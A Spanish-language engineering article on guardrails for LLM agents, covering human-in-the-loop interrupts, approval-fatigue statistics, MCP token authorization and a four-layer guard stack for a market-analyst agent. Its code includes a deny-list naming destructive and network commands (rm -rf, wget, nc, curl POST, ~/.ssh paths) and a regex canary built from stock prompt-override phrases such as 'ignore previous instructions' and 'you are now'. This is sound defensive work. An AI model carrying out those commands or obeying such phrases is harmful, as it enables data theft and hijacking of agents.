# (c) Mid-run state correction — loop until valid
def get_age_node(state):
    prompt = "What is your age?"
    while True:
        answer = interrupt(prompt)
        if isinstance(answer, int) and answer > 0:
            return {"age": answer}
        prompt = f"'{answer}' is not valid. Please enter a positive number."

El resumen es graph.invoke(Command(resume={"action": "approve"}), config=cfg). LangGraph 0.4+ permite la reanudación basada en diccionarios con múltiples interrupciones para ramas paralelas, lo cual resulta crucial en los momentos en que tu agente se divide en varias rutas simultáneas.

HumanLayer: la aprobación como producto

CapaHumana Se trata de la versión gestionada de la misma idea. Se decora una función, y las solicitudes de aprobación se enrutan hacia Slack, correo electrónico o Discord, con reglas que determinan quién recibe la notificación. Cuando el agente intenta realizar la llamada multiply(2, 5), los registros se ven así:

last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply

El aprobador hace clic en “aprobar” o “rechazar” en Slack. En caso de rechazo, la documentación de HumanLayer lo expresa de la siguiente manera: “HumanLayer devolverá tus comentarios al agente, el cual podrá ajustar entonces su estrategia.” Es esta última parte la que distingue a una verdadera capa HITL de un simple diálogo de confirmación. El humano pasa a ser una señal sobre la cual el agente razona dentro del mismo bucle, en lugar de una barrera que solo conoce valores de sí o no.

Fatiga de aprobación en los datos

Anthropic publicó los datos reales en Febrero de 2026. Tres hallazgos son más relevantes que el resto.

“Hemos constatado que el 80 % de tool calls proviene de agentes que parecen contar con algún tipo de medida de protección (como permisos restringidos o requisitos de aprobación humana); el 73 % parece incluir de alguna forma la intervención humana en el proceso, y solo el 0,8 % de las acciones resulta ser irreversible.”

Esa es la buena noticia. Considere el 80 % como un límite superior, ya que la nota al pie 14 de Anthropic indica que “Claude suele sobreestimar la participación humana; por eso esperamos que el 80 % sea un límite superior.”

“Los usuarios más recientes (<50 sesiones) utilizan la aprobación automática total en aproximadamente el 20 % de los casos; al llegar a 750 sesiones, esta proporción aumenta a más del 40 % de las sesiones.”

Anthropic’s Marzo de 2026 El artículo técnico sobre el modo automático de Claude Code indica el número clave:

“Los usuarios de Claude Code aprueban el 93 % de las solicitudes de permiso prompts. Hemos desarrollado clasificadores para automatizar ciertas decisiones, lo que aumenta la seguridad al mismo tiempo que reduce la fatiga por tener que aprobar constantemente… Si una sesión acumula 3 rechazos consecutivos o un total de 20, detenemos el modelo y elevamos el caso a un operador humano.”

Un 93 % de aprobación es la señal clave. Cuando un diálogo es aprobado en nueve de cada diez ocasiones, deja de ser un control de seguridad fiable y se convierte simplemente en telemetría. Los usuarios ya han aprendido a ignorarlo al hacer clic. La respuesta de Anthropic sigue un enfoque arquitectónico: un clasificador en dos etapas (un filtro rápido basado en un único token, seguido de chain-of-thought únicamente si se genera una alerta, con un 0,4 % de falsos positivos) elimina las aprobaciones prompts para acciones de bajo riesgo y detiene por completo el ciclo de procesamiento cuando se producen numerosas denegaciones.

Medir la calidad de la escalada

Rutina de lista blanca: se ejecutan acciones reversibles y se registran en el log. Se eleva la prioridad de aquellas acciones cuyos efectos secundarios superan un umbral que el runtime no puede revertir, como el envío de un mensaje externo, una escritura en entorno de producción, una acción de fuerza bruta o un pago. Anthropic plantea este objetivo para garantizar que siempre haya una persona capaz de intervenir cuando la decisión tenga consecuencias reales.

Se debe hacer un seguimiento de todo el embudo de procesos en su totalidad, en lugar de centrarse únicamente en un objetivo de tasa de aprobación impuesto desde fuera: acciones propuestas, autorizaciones automáticas, escaladas, aprobaciones, rechazos, ediciones y los incidentes que surgen tras la aprobación. Una alta tasa de aprobación podría indicar que los prompts son ruido rutinario. Por su parte, una alta tasa de rechazos o ediciones podría significar que el planificador está proponiendo la acción incorrecta o ocultando la información necesaria para el responsable de la aprobación. El umbral adecuado depende de la clase de acción y del costo asociado a una autorización errónea, por lo que debe establecerse a partir de sus propios datos de incidentes y revisiones.

MCP del alcance y la cadena de suministro

MCP permite conectar agentes con herramientas externas como Slack, GitHub y bases de datos, lo que hace que su modelo de autorización forme parte del perímetro de seguridad. Las revisiones de la especificación para el año 2025 separaron los roles de emisor de tokens y servidor de recursos, además de añadir indicadores de recursos. Esa evolución explica qué tipos de verificaciones de audiencia y reenvío debe aplicar un servidor en la actualidad.

Autorización MCP en tres revisiones

El especificación del 26/03/2025 El flujo OAuth 2.1 obligatorio con PKCE es el estándar para clientes públicos. Eso es correcto, pero la especificación resultaba incompleta de una forma sutil pero peligrosa. Confundía dos roles muy distintos que puede desempeñar un servidor MCP: el servidor de autorización (Authorization Server, AS), encargado de emitir tokens, y el servidor de recursos (Resource Server, RS), que los acepta. Cuando el mismo servidor puede realizar ambas funciones, un cliente podría entregar un token al servidor A; si este último reenvía la solicitud hacia arriba al servidor B, las mismas credenciales terminan llegando a un lugar al que nunca debían ir. Ese es el problema.

La revisión del 18-06-2025 separó estas funciones. Un servidor MCP funciona como servidor de recursos OAuth, mientras que un servidor de autorización externo emite el token. Los indicadores de recursos RFC 8707 vinculan el token a un recurso objetivo, y los metadatos de recursos protegidos RFC 9728 proporcionan al cliente una ruta de descubrimiento explícita. La especificación también prohíbe que un servidor MCP reenvíe el token de un cliente hacia niveles superiores en la cadena de autorización.

El límite de vinculación de audiencia impide la reutilización de solicitudes contra el servidor MCP incorrecto. No neutraliza el resto de la cadena de ataques de Claude Code descrita anteriormente: un gancho ejecutado en el lado del host sigue pudiendo activarse antes de que arranque el modelo, y un proyecto no fiable puede seguir intentando modificar la configuración local. El ámbito de los tokens, la confianza en los proyectos, la política de ganchos y el aislamiento en entorno sandbox siguen siendo controles independientes.

La lista de verificación para 2026 MCP

Si está distribuyendo o utilizando MCP en entornos de producción:

  1. La autenticación no es opcional. El CVE del servidor Azure MCP presentaba una deficiencia en el proceso de autenticación. Si su servidor acepta tráfico sin verificar un token, está creando una herramienta que cualquier atacante de la misma red puede utilizar.
  2. Los tokens están vinculados a un público específico. Solicite un token para el recurso MCP objetivo y verifique que el token presentado sea reconocido por su servidor como perteneciente a dicho público. Rechace los tokens generados para otro recurso.
  3. Asigne a cada herramienta únicamente las permisos que realmente necesita. Las permisos residen en el servidor, no en la herramienta; por lo tanto, si a un servidor Slack MCP se le otorgan permisos para publicar mensajes (chat:write), todas las herramientas de Slack en ese servidor heredan dicha permisión, incluidas aquellas que solo deberían tener acceso de lectura. Intenta separarlas en servidores distintos siempre que sea posible, de modo que un error en una herramienta no pueda aprovecharse silenciosamente de un permiso del que nunca necesitó.
  4. Utiliza tokens nuevos y de corta duración en lugar de claves API permanentes. El patrón de bóveda de Claude Managed Agents (Ingeniería de Anthropic) La referencia es la siguiente: el agente en sí mismo nunca ve las credenciales reales. Un servicio intermediario las almacena, obtiene un token nuevo en el momento en que se llama a una herramienta, lo utiliza en nombre del agente y devuelve únicamente el resultado.

Siguen aplicándose los controles de la cadena de suministro

Los incidentes de axios y Trivy son ejemplos conocidos de fallos en la cadena de suministro de paquetes y en los procesos CI, que afectan a sistemas encargados de automatizar la instalación de dependencias. Dada que la automatización aumenta tanto la cantidad como la velocidad de las ejecuciones, es imprescindible aplicar controles de versión, procedencia y revisión antes de que la orden generada llegue al entorno CI o a un sandbox.

La defensa es sencilla:

Se trata de controles estándar de la cadena de suministro. La automatización mediante agentes modifica su frecuencia, pero no su mecanismo.

Una pila de protección para el agente Market Analyst

El Agente Analista de Mercado desde Parte 1 Se trata de un agente LangGraph de pequeño tamaño. Este recopila datos de mercado, resume investigaciones y no está diseñado para ejecutar comandos de shell, escribir fuera de su espacio de trabajo ni extraer información alguna. A continuación, se muestra cómo debería ser una pila mínima de guardianes para este agente.

Capa 1: un gancho PreToolUse de lista de denegación

Incluso un agente que “solo lee datos bursátiles” puede acceder a información a la que no debería tener acceso: curl a una URL controlada por un atacante, escribe fuera del espacio de trabajo. git Mutaciones en el repositorio del host. Una regla de denegación forma parte de la infraestructura, y no prompt.

# agent/permissions.py
DENY_COMMANDS = frozenset({
    "rm -rf", "sudo", "chmod 777",
    "curl -X POST", "wget", "nc ",
})
DENY_PATHS = ("/", "/etc", "/Users", "/.ssh")

def pre_tool_use(tool_name: str, args: dict) -> dict | None:
    if tool_name == "shell":
        cmd = args.get("command", "")
        if any(bad in cmd for bad in DENY_COMMANDS):
            return {"permissionDecision": "deny",
                    "reason": f"command pattern disallowed: {cmd!r}"}
    if tool_name == "write_file":
        path = args.get("path", "")
        if any(path.startswith(p) for p in DENY_PATHS):
            return {"permissionDecision": "deny",
                    "reason": f"path outside workspace: {path!r}"}
    return None  # fall through to mode / canUseTool

El boceto hace que el punto de control sea visible: el gancho devuelve una denegación estructurada, y el reasoning loop recibe dicha denegación como una observación del herramienta. La coincidencia de subcadenas no forma parte de las políticas del shell de producción. Una implementación real debe analizar los comandos, resolver las rutas antes de realizar comparaciones, utilizar listas de permisos siempre que sea posible, y apoyarse en el sandbox del sistema operativo cuando un comando llegue a su fase de ejecución.

Capa 2: un canario de entrada para prompt injection

El secuestro de objetivo del agente (ASI01) suele producirse a través de una página web recuperada, un mensaje de usuario o un PDF de artículo de investigación. Un canario basado en expresiones regulares sencillas permite detectar patrones de instrucción literales y generar un evento de telemetría útil. No logra identificar inyecciones ofuscadas, multilingües o dependientes del contexto, por lo que no puede servir como límite de decisión:

# agent/input_canary.py
import re

INJECTION_PATTERNS = [
    re.compile(r"ignore (previous|all|prior) (instructions|rules)",
               re.IGNORECASE),
    re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
    re.compile(r"system[ _:]*prompt", re.IGNORECASE),
    re.compile(r"<\|im_(start|end)\|>"),
]

def input_canary(text: str) -> dict | None:
    for pat in INJECTION_PATTERNS:
        m = pat.search(text)
        if m:
            return {"flag": "possible_injection", "match": m.group(0)}
    return None

Registra las entradas marcadas como problemáticas; no recházalas automáticamente. Los falsos positivos en este caso resultan muy costosos para un asistente de investigación. Sin embargo, es el registro el que permite detectar cuándo el número de marcas aumenta repentinamente en un usuario concreto.

Capa 3: validación de structured output mediante un hook de detención

un modelo Pydantic además de un Stop El hook proporciona un bucle estricto de validación y reintentos para la generación de informes. El agente no puede declararse “listo” hasta que la salida supere la validación según el esquema y un test de funcionamiento básico:

# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport

def on_stop(final_output: str) -> dict:
    try:
        report = MarketReport.model_validate_json(final_output)
    except ValidationError as e:
        return {"decision": "continue",
                "feedback": f"schema invalid: {e.errors()[:3]}"}
    if not report.tickers:
        return {"decision": "continue",
                "feedback": "no tickers in report — did you skip the snapshot step?"}
    return {"decision": "allow_stop"}

Tres líneas de validación de esquema y una comprobación rápida son lo que diferencia el caso en el que “el agente indica que ha finalizado” del caso en el que “la salida es realmente un informe”. Se trata de una forma económica de garantizar la calidad.

Capa 4: una puerta de interrupción en las acciones salientes

El analista de mercado nunca debe enviar correos electrónicos ni publicar mensajes en Slack. Pero si alguna vez dispone de una herramienta que le permita hacerlo, dicha herramienta se encapsula dentro de interrupt():

# agent/tools/notify.py
from langgraph.types import interrupt

@tool
def send_report(to: str, body: str):
    resp = interrupt({
        "action": "send_report",
        "to": to,
        "body_preview": body[:400],
    })
    if resp.get("action") == "approve":
        return smtp_send(to, body)
    return "send cancelled by human"

Las acciones salientes completan la tríada letal. Es necesario controlarlas de forma explícita cuando el destino o el contenido superan el radio de acción habitual del agente. Los mensajes dirigidos a finanzas, clientes o destinatarios externos deben incluir suficiente información de vista previa y origen para que el responsable de aprobación comprenda qué se enviará.

Qué no hace esta pila

Los límites son cruciales. Esto no constituye una defensa contra:

Estos ganchos constituyen la capa de política local. Parte 5 Muestra dónde se encuentran en tiempo real el sandbox, es decir, el broker secreto, el checkpoint, así como las trazas de auditoría durante una ejecución prolongada. En la parte 6 nos adentraremos dentro del harness para analizar cómo las comprobaciones de aceptación, los intentos de reintentar y la evaluación basada en trazas impiden que el bucle declare éxito de forma prematura.

Conclusiones principales

  1. Los filtros de contenido y la política de ejecución protegen distintas capas de seguridad. Los filtros inspeccionan la entrada y la salida del modelo. La autorización de herramientas, el alcance de las credenciales, sandboxes, y los controles de cadena de suministro actúan sobre los caminos utilizados en los seis incidentes mencionados.
  2. La mayoría de las categorías de OWASP ASI requieren controles que operen fuera de la salida del modelo. Utilice la lista para asociar cada amenaza con el componente que pueda bloquearla o registrarla efectivamente.
  3. El permiso forma parte de la infraestructura, no de prompt. Claude Code evalúa las reglas de denegación, las reglas de solicitud, los ganchos PreToolUse, las reglas de autorización, el modo de funcionamiento y las devoluciones en un orden predefinido. Otros entornos de ejecución necesitan un modelo de precedencia igualmente verificable.
  4. Considere la denegación estructurada de un gancho PreToolUse como otra observación de la herramienta. El reasoning loop ya se encarga de ello; no es necesario implementar un flujo de trabajo de seguridad separado.
  5. Una tasa de aprobación del 93 % es una señal para analizar la calidad de prompt y la frecuencia de escaladas. Haga un seguimiento de las ediciones, denegaciones e incidentes posteriores a la aprobación, en lugar de intentar cumplir con un objetivo universal.
  6. Los tokens vinculados a un público específico y los cofres por sesión limitan la reutilización y exposición de credenciales. No sustituyen al mecanismo de confianza del proyecto, ni a la política de ganchos, ni al aislamiento en entorno de pruebas.
  7. Las verificaciones de cadena de suministro deben realizarse a la velocidad de la automatización. Fije las versiones y los SHA de las acciones, realice escaneos en los procesos de integración continua, y revise los cambios en las dependencias en las solicitudes de pull originadas por agentes.
  8. Diseñe la capa de políticas de modo que el lanzamiento de un nuevo producto no la invalide. OpenAI Agents SDK, Codex CLI y Claude Code expresan las mismas primitivas de forma distinta. Las primitivas en cuestión (escaleras de permisos, ganchos, sandboxes, interrupciones y tokens vinculados a un público específico) son los elementos sobre los que se basa la implementación.

Referencias

Los marcos de trabajo

LLM productos de protección

Incidentes

Superficies de políticas

HITL

OWASP

Series

El código del agente de análisis de mercado (el gancho de denegación PreToolUse, el canario de entrada, el validador de gancho Stop y la puerta de interrupción descritos anteriormente) se encuentra en GitHub._